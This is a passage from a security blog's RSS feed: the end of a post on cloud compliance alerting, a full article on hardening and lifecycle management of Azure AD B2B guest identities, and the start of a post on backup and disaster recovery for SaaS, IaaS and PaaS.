<h2 style="text-align: justify;">Compliance alert or security alert?</h2>
<p style="text-align: justify;">Most companies consider that monitoring the compliance of their cloud resources is not a responsibility of the SOC teams. But the boundary is not so easy to define, especially given the number of security incidents in the cloud that stem from configuration errors: public exposure of a storage resource containing critical data, unconfigured MFA on an admin account, or RDP or SSH exposed on the internet.</p>
<p style="text-align: justify;">Generating a security alert to the SOC will leverage existing processes and tools for 24/7 handling even if the SOC resources are not cloud experts.</p>
<p style="text-align: justify;">And finally, this will be a good opportunity to bring Cloud security and SOC teams together to improve security supervision by adapting it to the reality of the cloud.</p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/">Compliance in the Cloud, a new Paradigm</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/10/compliance-in-the-cloud-a-new-paradigm/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>MS365 101: Manage Azure AD B2B Guest Identities</title>
		<link>https://www.riskinsight-wavestone.com/en/2022/08/ms365-101-manage-azure-ad-b2b-guest-identities/</link>
					<comments>https://www.riskinsight-wavestone.com/en/2022/08/ms365-101-manage-azure-ad-b2b-guest-identities/#respond</comments>
		
		<dc:creator><![CDATA[Jules Haddad]]></dc:creator>
		<pubDate>Wed, 03 Aug 2022 13:21:16 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Focus]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Azure AD]]></category>
		<category><![CDATA[Collaboration]]></category>
		<category><![CDATA[identity]]></category>
		<category><![CDATA[O365]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=18362</guid>

					<description><![CDATA[<p>The use of &#8220;guest&#8221; identities to facilitate collaboration externally   The need for collaboration externally entails risks for companies Companies have always needed to collaborate with each other by sharing resources and exchanging data. To do this, their collaborators must...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/08/ms365-101-manage-azure-ad-b2b-guest-identities/">MS365 101: Manage Azure AD B2B Guest Identities</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h1 style="text-align: justify;">The use of &#8220;guest&#8221; identities to facilitate collaboration externally</h1>
<h2> </h2>
<h2 style="text-align: justify;">The need for collaboration externally entails risks for companies</h2>
<p style="text-align: justify;">Companies have always <strong>needed to collaborate</strong> with each other by sharing resources and exchanging data. To do this, their collaborators must be able to <strong>interact securely </strong>with users outside their environment.</p>
<p style="text-align: justify;">Several<strong> use cases</strong> can be applied, including <strong>time-bound collaboration with partners</strong>, external service providers, suppliers or B2B customers.</p>
<p style="text-align: justify;">Additionally, it is common to observe<strong> continuous collaboration between subsidiaries</strong> of the same group that have access to the resources and data of the company whilst not necessarily requiring to share the same Information Systems.</p>
<p style="text-align: justify;">Historically, collaboration could be achieved in several ways. However, collaboration also comes with certain disadvantages:</p>
<ul style="text-align: justify;">
<li>By <strong>successive exchange of emails</strong> &#8211; which can be inefficient and can result in a loss of control of the data exchanged;</li>
<li>By <strong>using solutions dedicated</strong> to share documents with third parties &#8211; which can be costly and unsuitable from a user experience point of view;</li>
<li>By <strong>creating a new identity in legacy systems</strong> (Active Directory, etc.), and by providing third-party entities with a means to access the company&#8217;s IS (VPN, virtual machines, physical machines, etc.) &#8211; which can significantly increase the company&#8217;s attack surface.</li>
</ul>
<h2> </h2>
<h2 style="text-align: justify;">Microsoft introduced Azure AD B2B to address the need for collaboration</h2>
<p style="text-align: justify;">Today, using Azure AD B2B allows two or more entities to <strong>collaborate within the host company&#8217;s Azure tenant</strong>.  Shared resources can be apps, documents, SharePoint sites, OneDrive, or Teams teams.</p>
<p style="text-align: justify;">In effect, the Azure B2B solution allows an external user to <strong>access the host company tenant through their regular account by</strong> creating a &#8220;guest&#8221; identity within the company&#8217;s Azure Active Directory (AAD).</p>
<p style="text-align: justify;">The &#8220;client&#8221; tenant then fully or partially trusts the &#8220;external&#8221; tenant for authentication via a token exchange mechanism.</p>
<p style="text-align: justify;">There are three native possibilities for creating a &#8220;guest&#8221; identity:</p>
<ul style="text-align: justify;">
<li>Directly from the <strong>Azure portal</strong>;</li>
<li>Via <strong>document sharing</strong> on OneDrive/SharePoint/Teams;</li>
<li>Through the use of the<strong> GRAPH API.</strong></li>
</ul>
<p> </p>
<p><em><img loading="lazy" decoding="async" class="wp-image-18366 size-full aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1.png" alt="" width="4150" height="2385" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1.png 4150w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1-332x191.png 332w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1-68x39.png 68w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1-120x70.png 120w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1-768x441.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1-1536x883.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image1-2048x1177.png 2048w" sizes="auto, (max-width: 4150px) 100vw, 4150px" /></em></p>
<p style="text-align: center;"><em>Figure 1 &#8211; Native Operation: Authentication and Identity Creation</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">At the level of the host tenant, the owner can choose to authorize the sharing of data to external users while also being able to administer guest accounts (creation, deactivation, deletion etc.).</p>
<p style="text-align: justify;">A direct benefit of this solution is the <strong>ease of use</strong> for users who are familiar with Microsoft environments.</p>
<p style="text-align: justify;">The second advantage is the<strong> cost of the solution</strong>. A &#8220;guest&#8221; identity has a licensing cost whereby up to a ceiling of 50,000 &#8220;guest&#8221; identities, their license is free. Beyond this and depending on the company&#8217;s subscriptions, a license may cost between €0.003 and €0.015 / month / user, which is then added on to a fixed fee of €0.029 for each multi-factor authentication attempt. This pricing policy is out of step with the usual price of an M365 license, which is between €10 and €50 / month / user depending on the license plan.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">However, Azure AD B2B has a default configuration that is too open, which creates risks for the company</h2>
<p style="text-align: justify;">Azure AD B2B introduces several factors that can lead to <strong>risk</strong>:</p>
<ul style="text-align: justify;">
<li>The <strong>creation of</strong> guest identities is very simple and uncontrolled (no identity manager, no traceability, no restrictions etc.);</li>
<li>The <strong>number of</strong> guest identities may increase in an uncontrolled manner, which makes managing their lifecycles difficult.</li>
<li>The company does <strong>not control the security</strong> of the initial holder of the &#8220;guest&#8221; identity;</li>
<li>No <strong>conditional access rules</strong> are set up by default (no strong authentication, no restriction of access to the Azure A D portal, etc.);</li>
<li>The &#8220;guest&#8221; identity <strong>has access to the Azure AD attributes</strong> of other users.</li>
</ul>
<p style="text-align: justify;">These factors create risks for the company&#8217;s data since the &#8220;guest&#8221; identity may have rights to a significant number of documents and information about its host owner.</p>
<p style="text-align: justify;">We can consider two triggering events for the different threat scenarios:</p>
<ul style="text-align: justify;">
<li>A <strong>malicious</strong> &#8220;guest&#8221; identity;</li>
<li>A &#8220;guest&#8221; identity <strong>compromised</strong> by an attacker.</li>
</ul>
<p style="text-align: justify;">An attacker would then have the opportunity to:</p>
<ul style="text-align: justify;">
<li><strong>Retrieve confidential data </strong>that the identity has access to;</li>
<li><strong>Destroy all data</strong> accessible by this identity;</li>
<li><strong>Compromise AD</strong> by assigning roles to this identity;</li>
<li><strong>Perform social engineering</strong> through their access to all user data.</li>
</ul>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">Depending on the level of maturity of the company and the willingness to hedge risk, it is necessary to implement a number of measures</h1>
<h2> </h2>
<h2 style="text-align: justify;">To get started: harden the default configuration</h2>
<h4> </h4>
<h4 style="text-align: justify;">Master the means to add &#8220;guest&#8221; identities on the tenant</h4>
<p style="text-align: justify;">The first step is to <strong>cut off access to the Azure portal</strong> to non-administrator employees of the company so that it is no longer a vector for creating &#8220;invited&#8221; identities.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18370 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen1.png" alt="" width="1595" height="761" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen1.png 1595w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen1-400x191.png 400w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen1-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen1-768x366.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen1-1536x733.png 1536w" sizes="auto, (max-width: 1595px) 100vw, 1595px" /></p>
<p style="text-align: center;"><em>Figure 2 &#8211; Restricting access to the Azure AD console</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">It should be noted that it is also possible <strong>to restrict the population who can invite external users to collaborate</strong>. However, this will not be applicable to all companies &#8211; especially those wishing to decentralize the management of this population. The idea of restricting this population forces the creation of a service dedicated to the creation of these identities. This goes against the very principle of this service, which is to leave it in the hands of the user.</p>
<p style="text-align: justify;">Finally, there is a feature to<strong> apply constraints to the email addresses of &#8220;guest&#8221; identities</strong>, via white-listing or domain name blacklisting. However, before embarking on this action, it is necessary to consider the complexity of its implementation and the potential low level of associated risk reduction.</p>
<h4> </h4>
<h4 style="text-align: justify;">Restrict what these identities can access</h4>
<p style="text-align: justify;">It is also possible <strong>to restrict what can be accessed</strong> by the invited identities, so that they are unable to retrieve a large volume of information on the host tenant.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18374 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen3.png" alt="" width="1603" height="647" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen3.png 1603w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen3-437x176.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen3-71x29.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen3-768x310.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen3-1536x620.png 1536w" sizes="auto, (max-width: 1603px) 100vw, 1603px" /></p>
<p style="text-align: center;"><em>Figure 3 &#8211; Restrict access for &#8220;guest&#8221; identities</em></p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Strengthen authentication and access control of &#8220;guest&#8221; identities</h2>
<p style="text-align: justify;">The <strong>multi-factor authentication (MFA)</strong> mechanism for a &#8220;guest&#8221; identity is almost native and reduces the risk of spoofing by an attacker. It is also possible to set up a <strong>conditional access policy</strong> that specifically targets these &#8220;guest&#8221; identities.</p>
<p> </p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18372 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen2.png" alt="" width="1063" height="446" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen2.png 1063w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen2-437x183.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen2-71x30.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Screen2-768x322.png 768w" sizes="auto, (max-width: 1063px) 100vw, 1063px" /></p>
<p style="text-align: center;"><em>Figure 4 &#8211; Multi-Factor Authentication</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">However, challenges can still complicate this operation and need to be considered:</p>
<ul style="text-align: justify;">
<li>Managing <strong>change management</strong> on these &#8220;guest&#8221; populations remains complex to perform, even if user onboarding operations are simple and carefully guided.</li>
<li>Managing <strong>second-factor reset processes</strong> in the event of loss or theft can be costly and complex if left unchecked.</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Educate users about risks and best collaboration practices</h2>
<p style="text-align: justify;">The major complexity of the Azure AD B2B solution is <strong>the lack of a mechanism for managing &#8220;guest&#8221; identities</strong>. Users are therefore the <strong>main actors</strong> of the management strategy and must be informed at the right level by emphasizing:</p>
<ul style="text-align: justify;">
<li>Collaboration <strong>best practices</strong>: when should they use the solution, how to create a guest, and more;</li>
<li><strong>Proper management of their access</strong>: they must be removed as soon as possible in order to avoid subsequent illegitimate access;</li>
<li><strong>Disabling identities when they are no longer in use</strong>, especially for service providers/partners, ensuring that the documents produced are not lost.</li>
</ul>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Protect the data that guests can access</h2>
<p style="text-align: justify;">We must also not forget to protect the data to which a legitimate guest can have access to, which gives rise to several measures:</p>
<ul style="text-align: justify;">
<li>It is possible to set up constraints for &#8220;guest&#8221; identities via <strong>conditional access rules </strong>that include: mandatory use of thin clients (web clients), the prohibition of data downloading, constraints on the terminals to be used, etc.</li>
<li>If the company has deployed the Azure Identity Protection (AIP) classification tool, an alternate solution is to <strong>create a privacy label</strong> that encrypts the data for &#8220;guest&#8221; identities. This label can also be used to restrict certain actions for this population: modification restriction (via associated permissions), download restriction (via a DLP rule), etc.</li>
</ul>
<p style="text-align: justify;">Moving a step further, a <strong>Cloud Access Security Broker</strong> (such as Microsoft&#8217;s MS Defender for Cloud Apps) can enable the implementation of advanced and targeted rules, such as preventing uploads to specific Sharepoint spaces as an example.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Managing the Lifecycle of Guest Identities: 3 Scenarios to Consider</h2>
<p style="text-align: justify;">As mentioned earlier, the key topic is <strong>managing the lifecycle of &#8220;guest&#8221; identities</strong> i.e., the creation, deletion, and review of access. As such, there are 3 scenarios to be considered. These scenarios depend on the desired <strong>risk coverage</strong>, <strong>the level of maturity </strong>of identity and access management, and the <strong>cost of implementing</strong> the scenario.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18368 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2.png" alt="" width="4457" height="2512" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2.png 4457w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2-339x191.png 339w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2-69x39.png 69w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2-768x433.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2-1536x866.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2-2048x1154.png 2048w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/08/Image2-800x450.png 800w" sizes="auto, (max-width: 4457px) 100vw, 4457px" /></p>
<p style="text-align: center;"><em>Figure 5 &#8211; Guest Identity Lifecycle Management Scenarios</em></p>
<p style="text-align: justify;"> </p>
<h3 style="text-align: justify;">Scenario 1 &#8211; Stay pragmatic on a budget: use native tools and configurations</h3>
<p style="text-align: justify;">In this scenario, the company <strong>creates a certain group typology for “External” groups</strong>, and therefore to the creation of guests. The distinction can be made by the use of language by the group. For example: all external groups must start with &#8220;X_&#8221;.</p>
<p style="text-align: justify;">It can thus carry out checks more easily on this limited perimeter of groups.</p>
<p style="text-align: justify;">The main prerequisite is <strong>to block the addition of &#8220;guest&#8221; identities to “Internal” groups. </strong>This is possible in two ways:</p>
<ul style="text-align: justify;">
<li>If the company has deployed the AIP classification tool on SharePoint and Teams spaces: a <strong>dedicated label</strong> can be used to prevent external sharing on these spaces. For example, the creation of an &#8220;Indull&#8221; label that blocks sharing with &#8220;guest&#8221; identities;  &#8211; <a href="https://docs.microsoft.com/en-us/microsoft-365/compliance/sensitivity-labels-teams-groups-sites?view=o365-worldwide">LINK</a></li>
<li><strong>Via a PowerShell script: </strong>block sharing with &#8220;guest&#8221; identities for &#8220;Internal&#8221; groups by identifying them via classifications. &#8211; <a href="https://docs.microsoft.com/en-us/microsoft-365/solutions/per-group-guest-access?view=o365-worldwide">LINK</a></li>
</ul>
<h4 style="text-align: justify;">Creating a &#8220;guest&#8221; identity</h4>
<p style="text-align: justify;">The only way to create a &#8220;guest&#8221; identity is to add<strong> them as external users to &#8220;External&#8221; group types.</strong></p>
<p style="text-align: justify;">If the company needs to give its tenant access to a subsidiary or an entire entity, it is possible to regularly synchronize their AD or Azure AD, and thus create their identities as a &#8220;guest&#8221; in the tenant of the company.</p>
<h4 style="text-align: justify;">Deleting a &#8220;guest&#8221; identity</h4>
<p style="text-align: justify;">The process of deleting identities is simple through the <strong>deletion of inactive &#8220;guest&#8221; identities. </strong>For example, using a PowerShell script based on the frequency of &#8220;Sign-In Activity&#8221;. Alternatively, it is also possible to remove &#8220;guest&#8221; identities that do not have access to any group via a PowerShell script.</p>
<h4 style="text-align: justify;">Review of &#8220;guest&#8221; access</h4>
<p style="text-align: justify;">It is possible <strong>to expire access for &#8220;guest&#8221; identities</strong> on SharePoint groups or OneDrives after 60 days. Note that the owner of the SharePoint or OneDrive group will be notified of the expiration 21 days beforehand.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18348 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7.png" alt="" width="1027" height="372" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7.png 1027w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7-437x158.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7-71x26.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture7-768x278.png 768w" sizes="auto, (max-width: 1027px) 100vw, 1027px" /></p>
<p style="text-align: center;"><em>Figure 6 &#8211; Guest Access Expiration</em></p>
<p style="text-align: justify;"> </p>
<p style="text-align: justify;">Finally, it is possible to use the &#8220;Guest Access Review&#8221; feature for external groups. It should be noted, however, that this feature requires advanced licenses (AAD P2) assigned to the users who carry out the reviews i.e. all the owners of the groups (normally a small number).</p>
<p style="text-align: justify;"><strong>This scenario is an efficient way that reduces guest risk, maintains a near-native solution, and doesn’t require too much investment.</strong></p>
<p style="text-align: justify;"><strong> </strong></p>
<h3 style="text-align: justify;">Scenario 2 &#8211; To go further in the level of security: develop a guest management application</h3>
<p style="text-align: justify;">In this second scenario, the company wants to <strong>have complete control over the lifecycle management of &#8220;guest&#8221; identities</strong>. To do this, the company <strong>creates an application</strong> (for example by using Power App) to manage this lifecycle, making it the single point of creation and deletion.</p>
<p style="text-align: justify;">Once this lifecycle is in place, it is necessary to set the SharePoint sharing setting to &#8220;Existing guest only&#8221; mode, allowing only content to be shared with &#8220;guest&#8221; identities that already exist in the Azure AD tenant. This prevents the creation of new identities through this vector.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-18350 size-full" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8.png" alt="" width="1048" height="585" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8.png 1048w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8-342x191.png 342w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8-71x39.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2022/07/Picture8-768x429.png 768w" sizes="auto, (max-width: 1048px) 100vw, 1048px" /></p>
<p style="text-align: center;"><em>Figure 7 &#8211; Restricting Sharing Opportunities</em></p>
<h4 style="text-align: justify;">Creating a &#8220;guest&#8221; identity</h4>
<p style="text-align: justify;">In this scenario, users <strong>use the dedicated application to create the &#8220;guest&#8221; identities</strong> by entering an end date. The user then designates the owner of the identity created.</p>
<h4 style="text-align: justify;">Deleting an &#8220;invite&#8221; identity</h4>
<p style="text-align: justify;">To delete identities, it is possible <strong>to trigger an automatic workflow</strong> before the end date by asking the owner of the identity in question whether to delete it or extend its end date. It should be noted that if the owner has left the company without making the change of ownership, consideration can be given to reassigning the guest to his or her supervisor.</p>
<h4 style="text-align: justify;">Review of &#8220;guest&#8221; access</h4>
<p style="text-align: justify;">With this type of &#8220;in-house&#8221; application, it is complicated to go much further in the management of the lifecycle &#8211; especially when it comes to access review.</p>
<p style="text-align: justify;">It is still possible, as in Scenario 1, to expire guest access or to use the &#8220;Guest Access review&#8221; feature (with the same constraints as stated above).</p>
<p style="text-align: justify;">To go further, we can also consider the use of third-party tools such as IDECSI or Sharegate that make it possible to manage these access journals automatically and intuitively.</p>
<p style="text-align: justify;"><strong>This scenario changes the native behavior and enables better control of the lifecycle, but at a significant blow with regard to the deployment and the management of the change to be implemented.</strong></p>
<h3 style="text-align: justify;">Scenario 2&#8242; &#8211; Integrating &#8220;guest&#8221; identities into traditional IAM processes</h3>
<p style="text-align: justify;">The last scenario to consider is a variant of the previous scenario, where the company still wants to have control over the lifecycle management of &#8220;guest&#8221; identities. In this case, the company can<strong> integrate &#8220;guest&#8221; identity management into its identity and access management (IAM) tools</strong> in the same way as &#8220;external&#8221; identities.</p>
<p style="text-align: justify;">The IAM tool then becomes the <strong>authoritarian source</strong> for this type of population and its management is done directly there.</p>
<p style="text-align: justify;">In this scenario, as in the previous one, you must also set the SharePoint sharing setting to &#8220;Existing guest only&#8221; mode.</p>
<h4 style="text-align: justify;">Creating a &#8220;guest&#8221; identity</h4>
<p style="text-align: justify;">Identities are created on external <strong>creation forms</strong> from IAM tools by choosing the &#8220;guest&#8221; type for the identity. The &#8220;guest&#8221; identity can then be provisioned automatically in the Azure AD by IAM tools.</p>
<h4 style="text-align: justify;">Deleting a &#8220;guest&#8221; identity</h4>
<p style="text-align: justify;">The removal of the identity is also <strong>done by the IAM tool</strong> according to the positioned end date and the workflows already defined.</p>
<h4 style="text-align: justify;">Reviews of &#8220;guest&#8221; access</h4>
<p style="text-align: justify;">In the event that the company&#8217;s IAM tools are used to manage rights on Sharepoint spaces, it is possible to use the <strong>access review capabilities of these tools</strong> to review access to sensitive resources for which &#8220;guest&#8221; identities have access.</p>
<p style="text-align: justify;">Alternatively, a second option is to use access governance features via IAM solutions, such as Sailpoint OneIdentity, or via dedicated Identity and Access Governance solutions, such as Brainwave or Varonis. We can imagine retrieving the rights assigned directly in the Azure AD and having them verified to the owners of the resources through these tools.</p>
<p style="text-align: justify;"><strong>This scenario is a variant of Scenario 2, which allows the most mature companies in identity and access management to capitalize on existing tools and processes.</strong></p>
<h2> </h2>
<h2 style="text-align: justify;">Finally, do not neglect the surveillance of this exposed population</h2>
<p style="text-align: justify;">It is useful to build a form of <strong>adapted reporting using KPIs and dashboards</strong>. A pool of information is available natively in the Azure AD (date of last connection, activity on the tenant as well as on Office 365 via the &#8220;unified audit logs&#8221;). This information can be interacted with via visualization tools, like Power Bi, for the generation of dashboards.</p>
<p style="text-align: justify;">Secondly, it is important to <strong>monitor the activities of these particularly exposed populations</strong>. Two levels of detection can be set up depending on monitoring capabilities:</p>
<ul style="text-align: justify;">
<li>Implement <strong>native DLP rules</strong> or <strong>classic alert scenarios</strong> in the Microsoft console: some alert scenarios are preconfigured, such as mass deletion of documents, elevation of privilege etc.</li>
<li>Implement<strong> advanced DLP rules</strong> and detection scenarios or specific thresholds for guests<strong> with the support of the company&#8217;s SOC</strong>. For example, the data download threshold allowed for a guest may be lower than the threshold allowed for an intern.</li>
</ul>
<p style="text-align: justify;">We can imagine the use of the <strong>Azure AD Identity Protection</strong> module to trigger alerts for guests with a high level of risk.</p>
<p style="text-align: justify;"> </p>
<h1 style="text-align: justify;">In conclusion, AAD B2B greatly facilitates collaboration, but its configuration needs to be hardened to reduce the level of risk induced by the solution</h1>
<p style="text-align: justify;">AAD B2B greatly <strong>simplifies</strong> collaboration with users outside the company, but entails risks<strong> related to the default operation</strong> of the solution. To control these risks, it is necessary to <strong>reduce </strong>the level of open access, and <strong>to control the lifecycle of these identities</strong> at a deeper level, depending on the potential level of investment that is planned. Finally, it is necessary to focus on <strong>monitoring</strong> via native tools or tools used by the company given the high exposure of these populations.</p>
<p style="text-align: justify;"> </p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2022/08/ms365-101-manage-azure-ad-b2b-guest-identities/">MS365 101: Manage Azure AD B2B Guest Identities</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/en/2022/08/ms365-101-manage-azure-ad-b2b-guest-identities/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>The Cloud: The end of IT backup &#8211; or a new way of doing it?</title>
		<link>https://www.riskinsight-wavestone.com/en/2017/12/cloud-end-backup-new-way/</link>
		
		<dc:creator><![CDATA[Etienne Lafore]]></dc:creator>
		<pubDate>Thu, 14 Dec 2017 16:33:30 +0000</pubDate>
				<category><![CDATA[Cloud & Next-Gen IT Security]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[AWS]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[BCP]]></category>
		<category><![CDATA[Cloud based backup]]></category>
		<category><![CDATA[DRaaS]]></category>
		<category><![CDATA[IaaS]]></category>
		<category><![CDATA[PaaS]]></category>
		<category><![CDATA[SaaS]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=10258/</guid>

					<description><![CDATA[<p>Businesses are increasingly using cloud services (SaaS, PaaS, and IaaS) in their IT environments. They provide more flexibility on costs and can be more attractive than using conventional IT infrastructure. In 2016, in France, 48% of companies employing more than 250...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/en/2017/12/cloud-end-backup-new-way/">The Cloud: The end of IT backup &#8211; or a new way of doing it?</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com/en/">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><em>Businesses are increasingly using cloud services (SaaS, PaaS, and IaaS) in their IT environments. They provide more flexibility on costs and can be more attractive than using conventional IT infrastructure. </em><a href="https://www.insee.fr/fr/statistiques/2672067"><em>In 2016, in France, 48% of companies employing more than 250 people used it—an increase of 12 percentage points, compared with 2014.</em></a><em> The greater availability of cloud infrastructure is often identified as an opportunity. However, the risk of failure of a service provider’s data center is rarely addressed, even though its services rely on data centers that are decidedly physical and not in the cloud. Such data centers face the same threats as traditional data centers: natural disasters, human error, etc. How, therefore, can backup be provided for these cloud infrastructures?</em></p>
<p>&nbsp;</p>
<h2><strong>SAAS COMPUTER BACKUP: THE SERVICE PROVIDER’S RESPONSIBILITY TO PUT IN PLACE</strong></h2>
<p>SaaS <em>(</em>Software as a Service) is software that is made available on, and consumed directly from, the internet. It is managed by one or more providers.  The customer does not have the wherewithal to carry out the backup activities is case of disaster (no access to raw data, source codes, applications that could duplicate the infrastructure, etc.), so it has to rely on the provider’s goodwill.</p>
<p>&nbsp;</p>
<h3>Levels of disaster recovery are variable for SaaS, depending on the provider’s degree of maturity</h3>
<p>Three major trends are emerging:</p>
<ul>
<li><strong>Providers who offer an inclusive disaster recovery plan.</strong> As part of their standard offering, the provider offers recovery at a remote data center, usually augmented with outsourced backup. However, they rarely offer commitments on recovery times.<br />
<em>Examples are the big SaaS players (such as: Office 365, SalesForce, and SAP), as well as some intermediate players (such as Evernote, and Xero);</em></li>
</ul>
<ul>
<li><strong>Suppliers who offer outsourced backup only.</strong> In their case, there is no clearly established disaster recovery plan, as such. The customer then has to question the ability of the provider to restore backup files in the event of a disaster at the main site.<br />
<em>Examples are intermediate suppliers (such as Zervant and Sellsy);</em></li>
</ul>
<ul>
<li><strong>Suppliers who don’t mention the issue or do not have anything in place.</strong> The subject of backup doesn’t even get raised, so it’s better to assume that nothing is being done.<br />
<em>Small players are usually in this situation.</em></li>
</ul>
<p>&nbsp;</p>
<h3>Getting contracts right is key</h3>
<p>In the vast majority of cases, SaaS providers have no provisions in their contracts on how they will manage disaster recovery, even though they might stress their ability to handle that risk. In fact, contracts usually include default Act of God clauses stipulating that the supplier is not liable for a breach of contractual obligations if this is caused by an event beyond their reasonable control. The legal risks must therefore be addressed when framing the agreement, and these types of clauses should be removed to ensure an appropriate level of cover.</p>
<p>Just as they do when framing conventional contracts, customers must ensure that clear service level agreements are in place, in particular for disaster recovery. These need to cover:</p>
<ul>
<li><strong>Recovery times</strong> (Recovery Time Objective &#8211; RTO) and<strong> data loss</strong> (Recovery Point &#8211; RPO) in the event of a disaster;</li>
</ul>
<ul>
<li>The <strong>provider’s disaster recovery plan, including crisis management procedures</strong>, as well as the obligation to carry out <strong>conclusive </strong><strong>tests</strong> every year with real-world scenarios, as part of the plan, with the customer having the option to review the test report;</li>
</ul>
<ul>
<li><strong>Financial penalties</strong> and the right to terminate the contract (in particular, with a provision to recover usable data) if commitments are breached.</li>
</ul>
<p>&nbsp;</p>
<h2>IAAS/PAAS disaster recovery: THE CUSTOMER’S RESPONSIBILITY TO PUT IN PLACE</h2>
<p>Infrastructure as a Service (IaaS) is a standardized, automated offering of computing, storage, and network resources owned and hosted by a provider, and made available to the customer on demand. A Platform as a Service (PaaS) offering is similar to an IaaS offer, but it is different in that it only applies to software development stack (database, EDI, business process management…) according to Gartner’s definition.<a name="_ftnref1"></a> Unlike SaaS, disaster recovery remains the customer’s responsibility in both cases: IaaS/PaaS providers make services available in various data centers, and the customer is responsible for their use and configuration. Two solutions are available to customers using these services: to entrust things to a provider, or manage it themselves.</p>
<p>&nbsp;</p>
<h3>The market for cloud disaster recovery is not a mature one</h3>
